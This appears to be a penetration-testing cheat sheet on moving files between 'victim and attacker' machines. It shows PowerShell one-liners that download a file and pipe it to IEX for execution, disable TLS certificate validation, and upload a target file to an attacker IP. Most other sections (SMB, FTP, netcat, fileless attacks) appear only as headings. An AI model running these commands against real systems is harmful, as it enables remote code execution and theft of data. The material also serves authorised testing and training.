File Transfers
How to transfer files between the victim and attacker servers
Windows File Transfer Methods
PowerShell Download
PS C:\user> (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\user> (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')PS C:\user> Invoke-WebRequest '<Target File URL>' -OutFile '<Output File Name>' -UseBasicParsing | IEXPS C:\user> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}PowerShell Upload
$ python3 -m uploadserverPS C:\user> Invoke-FileUpload -Uri http://<ATTACKER IP>/upload -File <TARGET FILE>SMB Download
SMB Upload
FTP Download
FTP Uploads
Linux File Transfer Methods
Network Downloads
Network Uploads
Fileless attacks
Bash Downloads
SSH/SCP Download
SSH/SCP Uploads
Web Servers in other languages
Transferring Files with Code
Python
PHP
Ruby
Perl
Javascript + cscript
VBScript + cscript
Misc Transfers
Nc
RDP
Last updated